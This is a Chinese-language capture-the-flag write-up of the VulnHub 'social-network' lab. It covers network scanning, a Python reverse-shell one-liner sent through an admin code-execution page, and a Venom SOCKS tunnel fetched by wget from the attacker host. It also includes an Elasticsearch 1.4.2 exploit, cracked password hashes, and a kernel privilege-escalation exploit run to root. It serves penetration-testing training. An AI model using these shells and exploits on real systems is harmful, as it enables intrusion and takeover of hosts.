靶机信息:
靶机地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
难度:Medium
虚拟机:Virtual Box
WalkThrough
主机发现:
网络环境:靶机和攻击机在同一网络下
既然和目标在同一个网络下,这种时候优先采用二层协议 arp 来发现主机:
└─$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:30:cd:0e, IPv4: 10.0.2.15
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1 52:54:00:12:35:00 QEMU
10.0.2.2 52:54:00:12:35:00 QEMU
10.0.2.3 08:00:27:d6:34:09 PCS Systemtechnik GmbH
10.0.2.4 08:00:27:20:c0:b2 PCS Systemtechnik GmbH
前三个是虚拟机自带的,这里目标是 10.0.2.4
端口扫描:
└─$ nmap -p- 10.0.2.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-12 17:30 CST
Nmap scan report for 10.0.2.4
Host is up (0.00027s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
开放端口 22,5000
端口服务发现:
└─$ nmap -p22,5000 -sV 10.0.2.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-12 17:30 CST
Nmap scan report for 10.0.2.4
Host is up (0.00040s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
这里的关键信息:服务器上运行着基于 python 的 werkzeug,说明服务器可以执行 python,python 版本为 2.7.15
访问 http 服务:
这里的表单会把输入的信息显示出来,看起来没有什么特别的点
目录扫描:
└─$ dirb http://10.0.2.4:5000/
---- Scanning URL: http://10.0.2.4:5000/ ----
+ http://10.0.2.4:5000/admin (CODE:200|SIZE:401)
发现后台地址,查看:
反弹 shell:
看样子好像这里可以执行代码,输入 python 的反弹 shell 试试(反弹 shell 代码可以网上搜到)
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.15",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
是个 root 权限,运气不错
查看下当前目录:
/app # ls -l
ls -l
total 16
-rw-r--r-- 1 root root 182 Oct 29 2018 Dockerfile
-rw-r--r-- 1 root root 1326 Oct 29 2018 main.py
-rw-r--r-- 1 root root 6 Oct 28 2018 requirements.txt
drwxr-xr-x 2 root root 4096 Oct 29 2018 templates
有个 Dockerfile,这个文件是用来部署 docker 的时候用的,现在可以怀疑当前我们是处于一个 docker 的环境中
查看该文件:
/app # ^[[25;8Rcat Dockerfile
cat Dockerfile
#docker build -t socnet .
#docker run -td --rm -p 8080:8080 socnet
FROM python:2.7-alpine
COPY . /app
WORKDIR /app
RUN pip install -r requirements.txt
CMD ["python", "/app/main.py"
是一个 docker 模板文件,进一步怀疑当前处于 docker 系统中
进一步判断当前是否处于 docker 环境,两个方法:
-
ls /.dockerenv
ls /.dockerenv /.dockerenv
-
cat /proc/1/cgroup
:Linux 初始化进程 id:1 的 cgroup 中包含着 docker 镜像信息的时候,可以确定是 dockercat /proc/1/cgroup 11:hugetlb:/docker/4d965cf5b7bf04f83c2790a01cf664f79b9d9faec874d3a3fde995cfb6751ca1 10:perf_event:/docker/4d965cf5b7bf04f83c2790a01cf664f79b9d9faec874d3a3fde995cfb6751ca1 9:blkio:/docker/4d965cf5b7bf04f83c2790a01cf664f79b9d9faec874d3a3fde995cfb6751ca1 8:freezer:/docker/4d965cf5b7bf04f83c2790a01cf664f79b9d9faec874d3a3fde995cfb6751ca1 7:devices:/docker/4d965cf5b7bf04f83c2790a01cf664f79b9d9faec874d3a3fde995cfb6751ca1 6:memory:/docker/4d965cf5b7bf04f83c2790a01cf664f79b9d9faec874d3a3fde995cfb6751ca1 5:cpuacct:/docker/4d965cf5b7bf04f83c2790a01cf664f79b9d9faec874d3a3fde995cfb6751ca1 4:cpu:/docker/4d965cf5b7bf04f83c2790a01cf664f79b9d9faec874d3a3fde995cfb6751ca1 3:cpuset:/docker/4d965cf5b7bf04f83c2790a01cf664f79b9d9faec874d3a3fde995cfb6751ca1 2:name=systemd:/docker/4d965cf5b7bf04f83c2790a01cf664f79b9d9faec874d3a3fde995cfb6751ca1
到这里可以确定,当前就是处于 docker 环境的隔离中
查看当前网络:
/app # ^[[25;8Rip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
6: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.3/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
当前处于 127.17.0.3
显然和宿主机的 IP 是不同的
docker 容器的这个网段可以认为是目标的内网网段,接下来要思考的是:
- 有没有其他主机呢?
- 其他主机有没有存在什么漏洞呢?
- 是否能通过漏洞获得更多信息呢?
内网主机发现:
/app # ^[[25;8Rfor i in $(seq 1 65535);do ping -c 1 172.17.0.$i; done
立马就发现前几个 ip 给我们回包了,ping 通了:
--- 172.17.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.037/0.037/0.037 ms
PING 172.17.0.2 (172.17.0.2): 56 data bytes
64 bytes from 172.17.0.2: seq=0 ttl=64 time=0.098 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.098/0.098/0.098 ms
PING 172.17.0.3 (172.17.0.3): 56 data bytes
64 bytes from 172.17.0.3: seq=0 ttl=64 time=0.020 ms
--- 172.17.0.3 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.020/0.020/0.020 ms
PING 172.17.0.4 (172.17.0.4): 56 data bytes
这里的 172.17.0.3 是我们当前拿下的这台 docker,接下来对其他两台主机进行扫描
因为 kali 这些工具不能直接用在内网环境中,所以需要做隧道进行内网穿透
内网穿透:
内网穿透工具:venom:Dliv3/Venom: Venom - A Multi-hop Proxy for Penetration Testers (github.com)
启动监听 9999 端口:
└─$ ./admin_linux_x64 -lport 9999
Venom Admin Node Start...
____ ____ { v1.1 author: Dlive }
\ \ / /____ ____ ____ _____
\ Y // __ \ / \ / \ / \
\ /\ ___/| | ( <_> ) Y Y \
\___/ \___ >___| /\____/|__|_| /
\/ \/ \/
(admin node) >>>
开启 http 服务:
└─$ python3 -m http.server 8295
Serving HTTP on 0.0.0.0 port 8295 (http://0.0.0.0:8295/) ...
然后把代理端下载到目标机上并运行:
/app # ^[[36;8Rwget http://10.0.2.15:8295/agent
wget http://10.0.2.15:8295/agent
Connecting to 10.0.2.15:8295 (10.0.2.15:8295)
agent 100% |*******************************| 3791k 0:00:00 ETA
/app # ^[[48;8Rchmod +x agent
chmod +x agent
/app # ^[[48;8R./agent -rhost 10.0.2.15 -rport 9999
./agent -rhost 10.0.2.15 -rport 9999
2021/09/12 11:07:10 [+]Successfully connects to a new node
启动 socks 代理:
(admin node) >>>
[+]Remote connection: 10.0.2.4:57024
[+]A new node connect to admin node success
(admin node) >>> show
A
+ -- 1
(admin node) >>> goto 1
node 1
(node 1) >>> socks 1080
a socks5 proxy of the target node has started up on the local port 1080.
现在在 1080 端口上启用了 socks 代理,接下来配置一下 proxychains
(/etc/proxychains4.conf
),就可以让工具也通过代理进行工作了
内网信息收集:
└─$ proxychains nmap -Pn -sT 172.17.0.1
....
Nmap scan report for 172.17.0.1
Host is up (0.0023s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
└─$ proxychains nmap -Pn -sT -p22,5000 -sV 172.17.0.1
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
这主机也开放了这两个端口和服务和之前扫描主机的一样,通过浏览器(要配置代理)访问进入页面也是一样的:
由此推测,172.17.0.1
是我们目标宿主机的内网 IP
接下来对下一个 IP 进行扫描:
└─$ proxychains nmap -Pn -sT -p22,5000 -sV 172.17.0.1
Nmap scan report for 172.17.0.2
Host is up (0.0020s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
9200/tcp open wap-wsp
└─$ proxychains nmap -Pn -sT -p9200 -sV 172.17.0.2
PORT STATE SERVICE VERSION
9200/tcp open http Elasticsearch REST API 1.4.2 (name: Illyana Rasputin; cluster: elasticsearch; Lucene 4.10.2)
这里开放了一个 9200 端口,Elasticsearch 服务,版本为 1.4.2
这个服务是否存在漏洞呢?能不能利用呢?进入这个服务器能不能获得有用的信息呢?
漏洞利用:
查看一下有没有 exp:
随便拿一个复制出来使用:
又得到了一个 root 权限
查看一下当前目录:
~$ ls -l
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.2:9200 ... OK
total 27164
drwxr-xr-x 2 root root 4096 Oct 11 2018 bin
drwxr-xr-x 2 root root 4096 Jun 14 2018 boot
drwxr-xr-x 5 root root 360 Sep 12 09:29 dev
drwxr-xr-x 7 root root 4096 Sep 12 09:29 elasticsearch
-rw-r--r-- 1 root root 27734207 May 16 2018 elasticsearch-1.4.2.tar.gz
drwxr-xr-x 69 root root 4096 Sep 12 09:29 etc
drwxr-xr-x 2 root root 4096 Jun 14 2018 home
drwxr-xr-x 12 root root 4096 Oct 29 2018 lib
drwxr-xr-x 2 root root 4096 Oct 11 2018 lib64
-rwxrwxr-x 1 root root 262 Oct 29 2018 main.sh
drwxr-xr-x 2 root root 4096 Oct 11 2018 media
drwxr-xr-x 2 root root 4096 Oct 11 2018 mnt
drwxr-xr-x 2 root root 4096 Oct 11 2018 opt
-rw-rw-r-- 1 root root 287 Oct 29 2018 passwords
dr-xr-xr-x 91 root root 0 Sep 12 09:29 proc
drwx------ 2 root root 4096 Oct 11 2018 root
drwxr-xr-x 4 root root 4096 Oct 29 2018 run
drwxr-xr-x 2 root root 4096 Oct 29 2018 sbin
drwxr-xr-x 2 root root 4096 Oct 11 2018 srv
dr-xr-xr-x 13 root root 0 Sep 12 09:29 sys
drwxrwxrwt 4 root root 4096 Sep 12 09:29 tmp
drwxr-xr-x 16 root root 4096 Oct 29 2018 usr
drwxr-xr-x 14 root root 4096 Oct 29 2018 var
这里有一个 passwords 文件很有嫌疑,会不会有什么能拿来用的密码信息呢?
密码破解:
~$ cat passwords
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.2:9200 ... OK
Format: number,number,number,number,lowercase,lowercase,lowercase,lowercase
Example: 1234abcd
john:3f8184a7343664553fcb5337a3138814
test:861f194e9d6118f3d942a72be3e51749
admin:670c3bbc209a18dde5446e5e6c1f1d5b
root:b3d34352fc26117979deabdf1b9b6354
jane:5c158b60ed97c723b673529b8a3cf72b
看起来还真像,拿去解密一下看看:
john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane
宿主机有 SSH 服务,都拿去试试:
只有一个账号连接成功,是个普通账号
本地提权:
一般来说,从本地账号提权到 root 账号,需要进行本地提权,最主要的方法就是通过内核漏洞进行提权
这里目标系统的内核使用的内核版本是 3.13.0
这个古老的版本
搜一搜:
搜到了很多,一般来说,在真实场景下,如果搜出了很多选择的话,需要对目标进行挨个尝试
这里挑选这个 37292.c 来使用
浏览一下这个 C 代码看看:
从示例里可以看到,这里需要用到 gcc 命令,经测试,目标主机里没有 gcc 命令
所以这里得从本地进行编译
使用漏洞利用代码,一定要先大概阅读一下!
这里使用 system 函数执行系统命令,再一次调用了 gcc 来编译一个库文件
因为目标上没有 gcc 命令,这里的思路是,看能不能从 kali 上找到要用的库文件,然后修改源代码,不进行编译,直接读取库文件进行执行
查找库文件:
└─$ locate ofs-lib.so
/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so
把代码中红色圈中的部分,也就是编译库文件相关代码删掉,然后编译:
└─$ gcc -o exp 37292.c
37292.c: In function ‘main’:
37292.c:106:12: warning: implicit declaration of function ‘unshare’ [-Wimplicit-function-declaration]
106 | if(unshare(CLONE_NEWUSER) != 0)
| ^~~~~~~
37292.c:111:17: warning: implicit declaration of function ‘clone’; did you mean ‘close’? [-Wimplicit-function-declaration]
111 | clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
| ^~~~~
| close
37292.c:117:13: warning: implicit declaration of function ‘waitpid’ [-Wimplicit-function-declaration]
117 | waitpid(pid, &status, 0);
| ^~~~~~~
37292.c:127:5: warning: implicit declaration of function ‘wait’ [-Wimplicit-function-declaration]
127 | wait(NULL);
| ^~~~
└─$ ls
36337.py 37292.c agent exp
虽然报点错,但不影响编译结果
接下来把得到的这两个文件传到目标机器上
john@socnet:~$ ls
exp ofs-lib.so
john@socnet:~$ mv ./* /tmp
john@socnet:~$ ls /tmp
exp ofs-lib.so
这里为了提高执行的成功率,所以放到 tmp 目录下,tmp 目录的权限比较多
执行 exp 拿到 root 权限:
john@socnet:~$ cd /tmp
john@socnet:/tmp$ chmod +x exp
john@socnet:/tmp$ ./exp
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
# id
uid=0(root) gid=0(root) groups=0(root),1001(john)